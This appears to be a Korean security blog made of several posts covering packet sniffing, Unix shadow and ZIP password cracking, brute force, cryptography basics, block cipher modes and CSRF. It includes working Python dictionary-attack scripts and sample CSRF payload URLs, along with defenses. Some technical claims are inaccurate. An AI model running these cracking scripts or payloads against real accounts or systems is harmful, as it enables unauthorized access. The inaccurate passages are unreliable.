스니핑은 네트워크 패킷을 가로채서 분석하는 해킹기법입니다. 아래는 파이썬을 사용한 간단한 스니핑 프로그램 예제입니다.

from socket import *
import os

def sniffing(host):
    # 아래 값들은 소켓을 생성할 때 프로토콜을 지정하는 세 번째 인자로 사용
    # 윈도우는 프로토콜에 관계없이 들어오는 모든 패킷을 가로채기 때문에 IP를 지정해도 무관하지만 유닉스나 리눅스는 ICMP를 가로채겠다는 것을 명시적으로 표시해야함
    if os.name == 'nt':
        socket_protocol = IPPROTO_IP
    else:
        socket_protocol = IPPROTO_ICMP
    # socket_protocol로 지정된 프로토콜을 이용하는 Raw 소켓을 만들고 호스트와 바인드
    sniffer = socket(AF_INET, SOCK_RAW, socket_protocol)
    sniffer.bind((host, 0))
    # 가로채는 패킷에 IP 헤더를 포함하라고 소켓의 옵션으로 지정
    sniffer.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)

    # 윈도우인 경우 소켓을 promiscuous모드로 변경하여 호스트에 전달되는 모든 패킷을 수신.
    # 소켓이 promiscuous 모드가 아니면 코드가 구동되는 컴퓨터가 목적지가 아닌 패킷은 모두 버리게 됨
    # if os.name == 'nt':
    #     sniffer.ioctl(SIO_RCVALL, RCVALL_ON)
    # 소켓으로 패킷이 들어올 때까지 대기. 65565는 버퍼의 크기로 단위는 바이트
    packet = sniffer.recvfrom(65565)
    print(packet)

    # if os.name == 'nt':
    #     sniffer.ioctl(SIO_RCVALL, RCVALL_OFF)

print(gethostname())
host = gethostbyname(gethostname())
print('start sniffing {0}'.format(host))
sniffing('127.0.0.1') # 호스트 이름을 IPv4형식으로 변경한 ip를 했을 때 에러나서 임시 ip 지정

# 스니핑된 패킷 결과
# (b'E\x00$\x00\x1d\xc1\x00\x00@\x01\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x03\x03\x07\xe2\x00\x00\x00\x00E\x00\xeb\x00)\xf2\x00\x00@\x11\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\xc7\xd9~x\x00\xd7\x00\x00', ('127.0.0.1', 0))

종류

스니핑에는 여러가지 종류가 있습니다.

  • IP Header 스니퍼
  • ICMP 스니퍼
    • IP 네트워크에서 진단이나 제어 용도로 사용되며, 오류에 대한 응답으로 생성.
  • 호스트 스캐너
    • ICMP 스니핑을 사용하면 해당 호스트가 살아있는지 아닌지 확인할 수 있음. 호스트 스캐너는 컴퓨터에 연결된 서브네트워크의 모든 호스트로 특정 메시지가 포함된 IP 데이터그램을 전송하고 이에 대한 응답 내용을 분석하여 호스트가 동작 중인지 알아내는 프로그램. 
  • PING을 사용한 호스트 스캐너

방어대책

  • 패킷 스니퍼가 설치될 수 없도록 네트워크 미디어에 대한 물리적 접근 제한
  • 중요 정보에 대해 암호화 사용
  • ARP 스푸핑 방지를 위해 정적 IP와 정적 ARP 테이블을 사용
  • ARP 캐시에 게이트웨이 영구 MAC 주소 설정
  • SSH나 SCP, SSL 등과 같은 암호화 세션 사용
  • 승인된 사용자로 네트워크 제한이 가능하다면 스니핑 도구가 패킷을 감지하지 못하도록 브로드캐스트 기능 오프


1. 유닉스(리눅스) 패스워드 크래킹

유닉스나 리눅스는 기본적으로 사용자의 패스워드를 MD5 해시값으로 변경하여 관리하고 있습니다. 예를 들어, abcd 아이디의 패스워드가 1234라고 하면 1234에 대한 MD5 해시값인 81 dc 9d db 52 d0 4d c2 00 36 db d8 31 3e d0 55를 사용합니다. 그런데 test 아이디를 가진 사람의 패스워드도 1234라고 하면 문제가 발생할 수도 있습니다. abcd 아이디를 가진 사람이 우연히 test의 비밀번호 MD5값이 동일하다는 것을 안다면 비밀번호가 1234라는 것을 알 수 있기 때문입니다. 그래서 이런 문제를 해결하기 위해 salt라 부르는 2개의 문자를 원래 패스워드에 추가한 후 MD5 해시를 구성하는 매커니즘을 사용하고 있습니다. 

다시 예를 들어 abcd 아이디의 패스워드가 1234면 salt값로 fa를 앞에 추가하여 fa1234의 MD5 해시값을 07 9b 71 85 33 d9 9a fe 18 9a fb e2 bc 4a a3 58과 같이 만듭니다. 이 값에 salt인 fa를 추가합니다 . 문자 fa는 16진수 ASCII 값으로 66 61이므로 abcd의 1234는 66 01 07 9b 71 85 33 d9 9a fe 18 9a fb e2 bc 4a a3 58로 관리하게 됩니다. 동일한 원리로 test의 패스워드 1234에 salt로 f3을 추가했다고 하면 abcd와 test의 MD5 해시값은 다른 값이 생성됩니다.


리눅스는 사용자 인증에 필요한 정보를  /etc/passwd에 저장하고 관리합니다. 

root : x : 0 : 0 : root : /root : /bin/bash
#로그인 이름:패스워드:사용자아이디:그룹아이디:코멘트:홈디렉토리:기본쉘

두 번째 필드가 패스워드이지만 모두 x로 표시되어 있으며, 실제 패스워드는 /etc/shadow 파일에 저장되어 있습니다. 

root:$1$agjnf2382F32o9h#T2:14923:0:99999:7:	:	:
abcd:$1$fnafnQO'I2R28y:14945:0:99999:7:	:	: 

첫 번쨰 필드는 사용자계정이고 두 번째 필드는 salt가 포함된 사용자 패스워드 해시값입니다.

두 번째 필드 분류

$1$: MD5

$5$: SHA256

$6$: SHA512 

위에서 예로 든 /etc/shadow 파일의 내용에 접근하여 root와 abcd의 패스워드 해시값을 얻었다면 오프라인 공격 유형으로 패스워드 크래킹을 수행할 수 있습니다. 인터넷에는 패스워드 크래킹을 위한 사전을 텍스트 파일로 유통하는 사이트가 많이 있습니다. 보통 용량이 크기 때문에 아래와 같이 사전파일을 예로 만들고 패스워드 크래킹의 원리를 설명합니다.

apple
python
password
12345
secret
welcome
admin
pineapple
other
login
pokemon
iloveyou


/etc/shadow에서 패스워드 크래킹을 위해 획득했다고 가정하고 passwords.txt로 저장합니다.

root:$1$a3gSE1RAj6522:14923:0:99999:7:::
test:$1$zfti6chVSQLlQ:14945:0:99999:7:::


 아래 코드를 작성한 후 실행하면 다음의 결과가 생성됩니다.

import crypt


def find_pass(pass_hash, dictfile):
    salt = pass_hash[3:5]
    with open(dictfile, 'r') as dfile:
        for word in dfile.readlines():
            word = word.strip('\n')
            cryptwd = crypt.crypt(word, salt)
            if cryptwd == pass_hash[3:]:
                return word


dictfile = 'dictionary.txt'
with open('passwords.txt', 'r') as pass_file:
    for line in pass_file.readlines():
        data = line.split(':')
        user = data[0].strip()
        passwd = data[1].strip()
        word = find_pass(passwd, dictfile)

        if word:
            print('id: {0} password: {1}'.format(user, word))

        else:
            print('not found')
 
# 결과
# id: root password: iloveyou
# id: test password: python

2. zip 파일 패스워드 크래킹

zip 파일은 사전공격이나 무차별 대입 공격으로 ZIP 파일을 풀 수 있습니다. 아래는 사전공격으로 zip 파일을 푸는 파이썬 예시입니다.

import zipfile
from threading import Thread


def crackzip(zfile, passwd):
    try:
        zfile.extractall(pwd=passwd)
        print('zip file pass {0}'.format(passwd.decode()))
        return True

    except:
        pass
    return False


dictfile = 'dictionary.txt'
zipfilename = 'locked.zip'
zfile = zipfile.ZipFile(zipfilename, 'r')
pfile = open(dictfile, 'r')

for line in pfile.readlines():
    passwd = line.strip('\n')
    t = Thread(target=crackzip, args=(zfile, passwd.encode('utf-8')))
    t.start()

해당 파일의 같은 경로에 zip파일과 비밀번호가 있는 dictionary.txt 파일이 존재하면 압축파일이 해제되는 것을 확인할 수 있습니다.

3. 시스템 패스워드 크래킹 

수동적 온라인 공격

공격자가 대상 시스템에 직접 연결하거나 통신하지 않고 패스워드 크래킹을 수행하는 방법입니다. 유선 스니핑, 중간자 공격 등이 있습니다.

능동적 온라인 공격

공격자가 대상 시스템에 직접 접속하여 패스워드를 추측하여 입력함으로써 공격하는 방법입니다. 패스워드를 일일이 입력하지 않고 자동화된 도구를 활용하여 공격합니다. 자동화 도구로는 트로이 목마, 스파이웨어, 키로거 등이 있습니다.

오프라인 공격

오프라인 패스워드 공격은 공격자가 시스템이 관리하는 패스워드 파일에 접근할 수 있을 경우 가능한 공격 방법입니다. 오프라인 공격에 보편적으로 활용되는 해킹 기법은 무차별 대입 공격, 사전공격, 음절 공격, 레인보우 테이블 공격 등과 같은 암호 공격입니다.

기지 평문 공격은 공격자가 평문과 그를 암호화한 암호문을 모두 알고 있을 때 사용할 수 있는 암호 해독 기법들을 가리킵니다. 이 경우 이미 알고 있는 평문을 크립(crib)이라고 부르기도 합니다. 이미 알고 있는 평문과 암호문을 바탕으로 비밀 키를 알아내기 위해 사용합니다. 암호해독가가 암호를 해독하기 위해 의미 없어보이는 암호문만 보아서는 많은 정보를 얻기 힘들지만 암호문 안에 이미 알고 있는 평문이 포함되어 있다면, 그 사실이 암호문과 평문 사이의 관계를 추정하기 위한 단서가 될 수 있습니다.

AES 등의 현대 암호체계는 기지 평문 공격의 영향을 받지 않는 것으로 알려져 있지만 예전 버전의 ZIP 파일 포맷에 사용되는 PKZIP 스트림 암호화 알고리즘은 기지 평문 공격에 취약합니다. 이 알고리즘으로 암호화된 압축 파일은 압축 파일 안에 들어있는 파일의 일부라도 알아낼 수 있으면 전체 압축 파일을 해독할 수 있습니다.

개요

무차별 대입 공격이란 조합 가능한 모든 문자열을 하나씩 대입해 보는 방식으로 문제를 푸는 것인데, 얼핏 무식하다고 생각할 수도 있겠지만 항상 정확도 100%를 보장한다는 점에서, 자원만 충분하면 가장 무서운 방법입니다. 이론적으로 가능한 모든 경우의 수를 다 검색해 보는 것이라 정확도 100%가 항상 보장되니, 암호학에서는 가장 확실한 방법으로 통용되고 있습니다. 무엇보다도 암호 확인 작업이라는 것이 손으로 입력한 문자열의 동일 여부를 확인하는 것이기 때문에, 가능한 경우를 하나씩 대입하다 보면 언젠가는 암호를 찾을 수 있게 되는 식입니다. 다만 정말로 그냥 무식하게 하는건 아니고, 숫자만 섞어서 대입해보기 한번, 로마자만 섞어서 대입해보기 한번 이런식으로 하다가 안되면 나머지를 순차적으로 하는 식으로 특정 규칙에 따라 우선순위를 두고 하기도 합니다.

또한 브루트 포스의 특장점은 거의 완벽하게 병렬 작업이 가능하다는 점입니다. 이 때문에 병렬 프로그래밍 기법을 사용하거나, GPGPU를 이용하기도 하며, 여러 대의 컴퓨터를 연결해서 동시에 작업할 수도 있습니다. 이렇게 하면 투자 자원에 비례해서 문제를 해결하는 시간을 줄일 수 있습니다. 즉, 컴퓨터를 10대 쓰면 10일 걸릴 작업을 1일만에 끝낼 수 있습니다.(다만 암달의 법칙 때문에 이런 식으로 병렬화가 잘 되는 작업은 흔치 않음)

단점

자원이 가장 큰 문제이며, 브루트 포스 방법에는 문제의 복잡도에 매우 민감하다는 치명적인 단점을 지니고 있습니다. 문제가 조금만 복잡해져도 매우 비효율적인 알고리즘이 될 수 있다는 것입니다. 특히 경우의 수가 문제의 복잡도에 따라 기하급수적으로 증가하는 경우, 문제를 해결하는 데에 필요한 자원 역시 기하급수적으로 증가합니다.

이러한 단점은 대부분의 암호화 알고리즘에서 역이용하고 있는데, 무어의 법칙 덕분에 컴퓨터 성능이 꾸준히 개선되고 있다 해도 그만큼 더 복잡한 암호화 기법을 이용하면 되기 때문입니다. 현 세대의 암호화 기법을 브루트 포스로 다 뚫는다 해도, 그 시간이 지나고 나면 이미 구식도 아닌 구석기 알고리즘으로 전락해 있을 법하니 그만큼 시간을 충분히 벌 수 있는 것입니다

실제로 현재 가장 흔하게 사용되는 블럭암호인 AES 기반 암호화들의 경우에는 Weak Key를 사용하지 않는 이상 키를 모르면 유의미한 시간 내에 풀 수 없으며, AES-256의 경우는 초당 100(10^18) 개의 키 대입을 하는 슈퍼컴퓨터로도 3000(3 * 10^51)년은 족히 잡아먹습니다. 아직 AES-128이 완전히 깨졌다는 보고가 없는데도 하나둘씩 AES-256으로 갈아타는 이상, AES-128이 다 깨질 때 쯤이면 이미 대다수가 AES-32k, 많이 봐 줘도 AES-2k를 쓰고 있을 판이 되는 것입니다.

방어방법

  • 암호는 최소 10자리 이상을 사용. 암호가 12자리를 넘어간다면 슈퍼 컴퓨터를 가져와도 안전. 숫자만으로 이루어져있다 해도 암호 한 자리당 경우의 수가 10배씩 늘어나고 12자리이면 10^12.

  • 암호에 특수문자를 사용하면 좀더 좋겠지만, 특수 문자 안 쓰고 그냥 암호가 길기만 해도 됨. 아무리 특수 문자를 써도 암호가 6자리 이하라면 털릴 것을 각오해야 함.

  • 대부분 사전 공격부터 가하기 때문에 최소한 다음과 같은 단어들을 쓰는 것은 자살행위. 브루트 포스 툴인 John The Ripper의 내장 사전 파일의 맨 앞의 일부는 다음과 같음. 123456, abc123, password, computer, a1b2c3, qwerty, secret. q1w2e3r4! 이것 말고도 3천여개 정도 더 존재.

  • 사전 공격에서도 브루트 포스 기술을 동시 적용하면 단어 몇개 배열해놓은 건 뚫리는 건 금방.

  • 단어조합이 힘들다면, 외국계 해커 상대로는 한타를 영타 그대로 치는 것도 좋은 방법. 중간에 쉬프트가 필요한 쌍자음이 있으면 금상첨화. 숫자랑 특문을 넣으면 거의 뚫리지 않는다고 보면 됨.

  • 웬만한 사이트나 전자거래에서는 일정 횟수 이상 암호를 잘못 입력할 경우 계정이 일시동결. 민감한 분야에서는 대면적 방법으로 새로 인증을 받지 않고서는 다시 서비스를 사용할 수 없게 해 놓기까지 함. 이럴 경우는 브루트 포스가 쉽지 않음.

  • 브루트 포스의 경우 마구 대는 게 아닌 비트 순서대로 대는 것인데, 이를 역이용해서 첫 글자의 비트 크기에 따라 비밀번호가 뚫리는 시간은 크게 차이남. 예를 들어서 아스키 코드 65인 대문자 A로 시작하는 비밀번호와 아스키 코드 122인 소문자 z로 시작하는 비밀번호는 깨지는 속도가 두 배 가까이 차이남. 심지어는 프로그램에서 로마자만 따질 경우 A보다 z로 하는 것이 50배 넘게 이득이 된다. 거의 글자 하나 있고 없고의 차이. 다만 이 방법은 현실적으로 힘든 편. 자신의 비밀번호가 원래부터 이랬다면 좋았겠지만 이미 쓰던 비밀번호를 바꾸는 것은 심히 좋지 않음.


이전에 암호화에 대해 정리한거 같은데 계속이해가 안되서 다시 한번 정리합니다...

대칭키 암호(Symmetric-key Cryptography)

대칭키 암호란 암호화에 사용되는 암호화 키와 복호화에 사용되는 함호화키가 동일한 암호화 기법입니다.

대칭키 암호 방식으로 암호화한 정보를 누군가에게 보낼 때 암호키도 함께 보내야하는데  암호키 자체는 암호화가 되지 않은 평문으로 분실하거나 타인에게 노출되면 보안에 매우 취약해집니다. 키 전달 및 관리에 어려움이 있지만 대칭키 암호는 암호화 연산 속도가 빠르기 때문에 효율적인 암호 시스템을 구축할 수 있다는 장점이 있습니다.

대칭키 암호화 방식은 데이터를 변환하는 방식에 따라 블록암호와 스트림 암호로 구분됩니다.

블록암호

블록암호는 고정된 크기의 블록 단위로 암호화, 복호화 연산을 수행하는 대칭키 암호화 방식이며 암호키 크기에 따라 64~256비트 블록 크기로 연산을 수행합니다.

블록암호 알고리즘은 평문 블록을 암호 블록으로 만들 때 적용되는 방식에 따라 파이스텔 블록 구조와 SPN 블록 구조로 구분됩니다.

파이스텔 블록 구조는 입력되는 평문 블록을 좌우 두 개 블록으로 분할하고, 좌측 블록을 파이스텔 함수라 불리는 라운드 함수를 적용하여 출력된 결과를 우측 블록에 적용하는 과정을 반복적으로 수행합니다. 파이스텔 블록구조를 채택한 블록암호는 DES가 있습니다.

SPN 블록 구조는 평문 블록을 분할하지 않고 전체 블록을 적용하는 방식으로 라운드 함수의 역함수를 구해야 하는 어려움이 있는 구조지만 컴퓨팅 속도의 발전으로 어려움을 극복할 수 있게 되었습니다. SPN 블록 구조를 채택한 블록암호는 AES가 있습니다.

DES (요즘안씀)

 56비트라는 작은 암호키로 인해 암호화를 해도 깰 수가 있습니다(..) 이를 보완하여 3DES가 나왔지만 기본 알고리즘은 DES와 동일합니다. (DES를 3번 돌림) 보완적인 요소는 증가했지만 성능은 저하되었습니다.

AES

DES를 대체하기 위해 나왔으며 키의 크기는 128, 192, 256 비트를 지원하고 암호 블록 크기는 128비트입니다. 아직까지는 해독된 사례가 없어서 안전성이 보장된 알고리즘이라 할 수 있습니다.

공개키 암호(Public-key Cryptography)

공개키 암호는 대칭키 암호의 키 전달에 있어서 취약점을 해결하고자 한 노력의 결과로 탄생한 암호 방식입니다. 공개키 암호는 한 쌍의 키가 존재하며, 하나는 특정 사람만이 가지는 개인키(또는 비밀키)이고 다른 하나는 누구나 가질 수 있는 공개키입니다.

개인키로 암호화 한 정보는 그 쌍이 되는 공개키로만 복호화 가능하고, 반대로 공개키로 암호화 한 정보는 그 쌍이 되는 개인키로만 복호화가 가능합니다. 즉 공개키 암호 방식은 암호화할 때 사용하는 암호키와 복호화할 때 사용하는 암호키가 서로 다르기 때문에 비대칭키 암호라고도 합니다. 공개키 암호는 키 전달 문제를 해결했지만 암호화, 복호화를 위해 복잡한 수학연산을 수행하기 때문에 대칭키에 비해 속도가 느립니다. 

대칭키 암호의 장점과 공개키 암호의 장점을 채택하여 용량이 큰 정보는 대칭키로 암호화하고, 암호화에 사용된 대칭키는 공개키로 암호화하여 대상에게 전달하는 하이브리드 암호화 방법이 일반적으로 활용되고 있습니다.

공개키 기반 구조

특정 사람의 개인키와 공개키는 어떻게 생성할 것이며, 어떻게 배포할 것이고, 어떻게 관리해야하는 이슈가 존재합니다. 또한 어떤 공개키가 특정한 사람의 공개키라는 것을 어떻게 보장할 수 있는지에 대한 이슈도 존재합니다.

이를 해결하기 위해 디지털 인증서를 도입하였고 이를 활용하는 소프트웨어, 하드웨어, 정책, 제도, 사용자 등을 총칭해서 공개키 기반 구조라고 합니다.

RSA

RSA는 대표적인 공개키입니다.

블록 암호란?

블록 암호(block cipher)란 기밀성있는 정보를 정해진 블록 단위로 암호화 하는 대칭키 암호 시스템입니다. 만약 암호화하려는 정보가 블록 길이보다 길 경우에는 특정한 운용 모드가 사용됩니다.(예, ECB, CBC, OFB, CFB, CTR)

스트림 암호란?

스트림 암호(stream cipher)는 대칭 키 암호의 구조 중 하나로, 유사난수를 연속적(스트림)으로 생성하여 암호화하려는 자료와 결합하는 구조를 가집니다. 일반적인 스트림 암호는 유사난수를 1비트 단위로 생성하고, 생성된 값과 암호화하려는 각 값을 XOR하여 1비트의 암호화된 자료를 얻습니다. 즉 키의 길이가 유동적입니다. 스트림 암호는 일회용 난수표(OTP)를 유사난수로 대체한 것으로 볼 수 있습니다. 스트림 암호는 하드웨어 구현이 간편하며 속도가 빠르기 때문에 무선 통신 등의 환경에 주로 사용됩니다. 

블록 암호 운용 방식이란?

블록 암호 운용 방식은 하나의 키 하에서 블록 암호를 반복적으로 안전하게 이용하게 하는 절차를 말합니다. 블록 암호는 특정한 길이의 블록 단위로 동작하기 때문에, 가변 길이 데이터를 암호화하기 위해서는 먼저 이들을 단위 블록들로 나누어야 하며, 그리고 그 블록들을 어떻게 암호화할지를 정해야 하는데, 이때 블록들의 암호화 방식을 운용 방식으로 부릅니다. 운용 방식은 주로 암호화와 인증을 목적으로 정의되어왔습니다. 역사적으로 암호화 방식은 다양한 시나리오의 데이터 수정 측면에서 오류 증식 특성과 관련하여 널리 연구되어 왔습니다. 나중에 무결성 보호는 암호화와는 완전히 별개로 다루게 되었습니다. 현대의 일부 운용 방식은 암호화와 인증을 효율적인 방식으로 병합해 놓고 있는데, 이를 인증된 암호 방식(authenticated encryption) 방식으로 부릅니다.

운용 방식이 일반적으로 대칭형 암호화와 관련하는 것이 일반적이지만 RSA와 같은 공개 키 암호 방식 원칙에도 적용할 수 있습니다. (길이가 더 긴 메시지의 공개 키 암호 방식은 일반적으로 복합 암호 방식(hybrid encryption)이라 부름)

종류

ECB

전자 코드북(electronic codebook, ECB)은 운용 방식 중 가장 간단한 구조를 가지며, 암호화하려는 메시지를 여러 블록으로 나누어 각각 암호화하는 방식으로 되어 있습니다.

전자 코드북은 모든 블록이 같은 암호화 키를 사용하기 때문에 보안에 취약합니다. 만약 암호화 메시지를 여러 부분으로 나누었을 때 두 블록이 같은 값을 가진다면, 암호화한 결과 역시 같습니다. 이것은 공격자가 비슷한 메시지를 반복적으로 암호화하는 반복공격에도 취약한 성질을 가집니다.

요약

  • 가장 단순한 모드로 블록단위로 순차적으로 암호화 하는 구조
  • 한개의 블록만 해독되면 나머지 블록도 해독이 되는 단점 (Brute-Force Arttack, Dictionary Attack)
  • 암호문이 블록의 배수가 되기 때문에 복호화 후 평문을 알기 위해서 Padding을 해야함
  • error propagation : 각 블록이 독립적으로 동작하므로 한블록에서 에러가 난다고 해도 다른 블록에 영향을 주지 않음. 해당 블록까지 에러 전파.

CBC

암호 블록 체인 (cipher-block chaining, CBC) 방식은 1976년 IBM에 의해 개발되었습니다. 각 블록은 암호화되기 전에 이전 블록의 암호화 결과와 XOR되며, 첫 블록의 경우에는 초기화 벡터가 사용됩니다. 초기화 벡터가 같은 경우 출력 결과가 항상 같기 때문에, 매 암호화마다 다른 초기화 벡터를 사용해야 합니다.

CBC 방식은 현재 널리 사용되는 운용 방식 중 하나입니다. CBC는 암호화 입력 값이 이전 결과에 의존하기 때문에 병렬화가 불가능하지만, 복호화의 경우 각 블록을 복호화한 다음 이전 암호화 블록과 XOR하여 복구할 수 있기 때문에 병렬화가 가능합니다.

요약

  • 블록 암호화 운영 모드 중 보안 성이 제일 높은 암호화 방법으로 가장 많이 사용
  • 평문의 각 블록은 XOR연산을 통해 이전 암호문과 연산되고 첫번째 암호문에 대해서는 IV(Initial Vector)가 암호문 대신 사용. 이 때, IV는 제 2의 키가 될 수 있음
  • 암호문이 블록의 배수가 되기 때문에 복호화 후 평문을 얻기 위해서 Padding을 해야함
  • 암호화가 병렬처리가 아닌 순차적으로 수행되어야 함. (단점)
  • error propagation : 깨진 암호문의 해당블록과 다음블록의 평문까지 영향을 미치게 됨

CFB

암호 피드백(cipher feedback, CFB) 방식은 CBC의 변형으로, 블록 암호를 자기 동기 스트림 암호로 변환합니다. CFB의 동작 방식은 CBC와 비슷하며, 특히 CFB 암호 해제 방식은 CBC 암호화의 역순과 거의 비슷합니다.

요약

  • 블록 암호화를 스트림 암호화처럼 구성해 평문과 암호문의 길이가 같음 (패딩이 필요 없음)
  • 최초의 키 생성 버퍼로 IV가 사용되며, 이때 IV는 제2의 키가 될수 있음
  • 스트림의 기본단위를 bit단위로 설정할 수 있으며, bit단위에 따라 CFB8~CFB128로 쓰임
  • 암호화, 복호화 모두 암호화로만 처리할 수 있음
  • CBC모드와 마찬가지로 암호화는 순차적이고, 복호화는 병렬적으로 처리할 수 있음
  • error propagation : CBC모드와 마찬가지로 한 암호문블럭의 에러는 해당평문블록과 다음 평문블록, 이렇게 총 2개의 블록에 전파됨

 

OFB

출력 피드백(output feedback, OFB)은 블록 암호를 동기식 스트림 암호로 변환합니다. XOR 명령의 대칭 때문에 암호화와 암호 해제 방식은 완전히 동일합니다.

요약

  • 블록 암호화를 스트림 암호화처럼 구성해 평문과 암호문의 길이가 같음 (패딩이 필요없음)
  • 암호화 함수는 키 생성에만 사용되며, 암호화 방법과 복호화 방법이 동일해 암호문을 한번 더 암호화하면 평문이 나옴 (복호화시에 암호화)
  • 최초의 키생성 버퍼로 IV가 사용되며, 이 때 IV는 제2의 키가 될수 있음
  • 스트림의 기본 단위를 Bit단위로 설정할 수 있으며, Bit단위에 따라 OFB8~OFB128로 쓰임
  • error propagation : 해당블록까지만 대응되는 한 블록에만 영향을 미치므로, 영상이나 음성과 같은 digitized analog신호에 많이 사용됨

CTR 

카운터(Counter, CTR) 방식은 블록 암호를 스트림 암호로 바꾸는 구조를 가집니다. 카운터 방식에서는 각 블록마다 현재 블록이 몇 번째인지 값을 얻어, 그 숫자와 nonce를 결합하여 블록 암호의 입력으로 사용합니다. 그렇게 각 블록 암호에서 연속적인 난수를 얻은 다음 암호화하려는 문자열과 XOR합니다. 카운터 모드는 각 블록의 암호화 및 복호화가 이전 블록에 의존하지 않아서 병렬적으로 동작하는 것이 가능합니다. 혹은 암호화된 문자열에서 원하는 부분만 복호화하는 것도 가능합니다.

요약

  • 블록을 암호화할 때마다 1씩 증가해 가는 카운터를 암호화 해서 키 스트림을 만듬. 즉 카운터를 암호화한 비트열과 평문블록과의 XOR를 취한 결과가 암호문 블록이 됨
  • CTR모드는 OFB와 같은 스트림 암호의 일종
  • CTR모드의 암복호화는 완전히 같은 구조가 되므로 구현이 간단함 (OFB와 같은 스트림 암호의 특징)
  • CTR모드에서는 블록의 순서를 임의로 암/복호화 할 수 있음 (비표와 블록번호로부터 카운터를 구할 수 있기 때문)
  • 블록을 임의의 순서로 처리 할 수 있다는 것은 처리를 병행 할 수 있다는 것을 의미 (병렬처리 가능)
  • error propagation : 각 블록이 병렬처리 되므로 같은 블록내에서만 이루어짐


'보안' 카테고리의 다른 글

무차별 대입 공격 (Brute Force Attack)  (0) 2017.03.27
암호 (대칭키 암호, 공개키 암호)  (0) 2017.03.14
블록 암호 운용 방식 (block cipher modes of operation)  (1) 2017.02.18
CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
  1. 나그네 2017.11.06 15:55 신고

    잙 읽었습니다.

CSRF란?

사이트 간 요청 위조(Cross-site Request Forgery)

웹 어플리케이션 취약점 중 하나로 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 하여 특정 웹페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격방법을 의미합니다. 2008년에 발생한 옥션의 개인정보 유출사건에서도 관리자 계정을 탈취하는데 이 방법이 사용되었습니다. 공격의 난이도가 높지 않아 널리 사용되는 방법 중 하나입니다.

공격방법

이러한 공격을 하기 위하여 해커는 우선 공격을 할 사이트를 먼저 분석합니다. 예를 들어, 나무위키의 경우에 토론은 namu.wiki/topic/ 이라고 시작하며 뒤에 숫자가 붙는 형식인데 이 뒤의 숫자에 패턴이 있습니다.(실제론 토론이 개설된 순서대로 붙는 일련번호이다.) 그러면 이 패턴을 이용하여 일반적인 방법으로 접근할 수 없는 페이지를 오픈 한다든지, 개발에 사용되고 실제로 사용하지 않는 샘플 페이지를 찾아낸다든지 이러한 방법이 가능합니다. 그것이 아니라 웹페이지가 독자적 개발이 아닌 외부에서 이미 개발된 웹 어플리케이션을 사서 조금 수정한 것이라면 공격자는 경우에 따라서 해당 웹 어플리케이션을 구매하여 개인 서버에 설치를 합니다. 그 다음에 공격 가능 패턴을 분석합니다. 주로 공격자들이 찾는 것은 사용자 패스워드 변경페이지나 타 시스템과 로그인 연동 주소 패턴같은 인증 관련된 취약점을 찾습니다. 그 다음에 여기서 나온 취약점을 이용하여 공개된 게시판이나 메일을 이용하여 사용자가 해당 링크를 열게 만들면 공격이 완료됩니다.

예시

만일, A라는 사이트의 사용자 개인 비밀번호 변경을 하는 주소 패턴이 abc.com/user.do?cmd=user_passwd_change&user=admin&newPwd=1234 라고 한다면 이러한 링크를 사용자의 메일로 XSS 형태로 보내고 메일을 읽게되면 해당 사용자의 패스워드가 1234로 초기화 됩니다. 이를 관리자에게 보내서 일반계정을 관리자 계정으로 바꾸도록 한다든지, 아니면 관리자 계정 패스워드를 바꾸는데 이용한다면 해당 사이트의 모든 정보가 해킹당하는데는 오랜 시간이 걸리지 않습니다. 참고로, img 태그도 GET 메소드를 사용해서 보내는 것이기 때문에 img를 이용할 수도 있습니다. 대부분의 사이트는 img를 필터링하지 않으므로, 혹은 필터링하지 못하므로 유용한 방법이 될 수 있습니다. 예를 들면 나무위키의 경우 <img src="https://namu.wiki/logout"> 와 같은 코드를 넣어주면 해당 문서를 볼 경우 로그아웃이 됩니다. 이는 나무위키뿐만이 아닌 대부분의 사이트의 문제입니다.

방어방법

방어 방법 중 가장 기초적인 방법은 Referer 체크를 하는 방법이 있습니다. Referer는 HTTP 헤더에 있는 정보로 해당 요청이 요청된 페이지의 정보를 가지고 있는데 해당 정보는 Paros나 Zap, fiddler같은 프로그램으로 조작이 가능하지만 방법이 간단하여 소규모 웹사이트에 주로 이용되는 방법입니다. 그 외에는 패스워드 변경 같은 민감한 정보를 다룰 때에는 세션에 임의난수(토큰)를 발급하여, 해당 난수가 없는 상황에서 해당 동작들이 이루어지면 요청을 거부하는 방법을 통하여 사용자가 정말로 변경을 의도하는 경우에만 변경을 시켜주는 방법, 변경 시에 CAPTCHA를 이용하여 캡챠 인증코드가 없거나 틀리면 거부하도록 하는 방법 등이 이용되고 있습니다. 또한 GET/POST 등을 구분하여 주는 것 역시 유용합니다. img 태그 등을 이용할 경우 GET 요청으로 들어오게 될 것이고, 반면 흔히 하듯 form을 이용해 값을 받을 경우 경우 POST를 이용하게 되는 경우가 많기 때문입니다. 위의 방법들을 일일이 적용하기 귀찮다면, 대개 프레임워크에서 위의 방법들을 통합한 플러그인 등을 제공하는 경우들이 많으니 찾아보도록 합니다. 또한 form 대신 ajax(CORS가 비활성화되어 있어야 함)를 통한 JSON API만 사용하는 방법이 있습니다.


'보안' 카테고리의 다른 글

암호 (대칭키 암호, 공개키 암호)  (0) 2017.03.14
블록 암호 운용 방식 (block cipher modes of operation)  (1) 2017.02.18
CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28

XSS공격이란

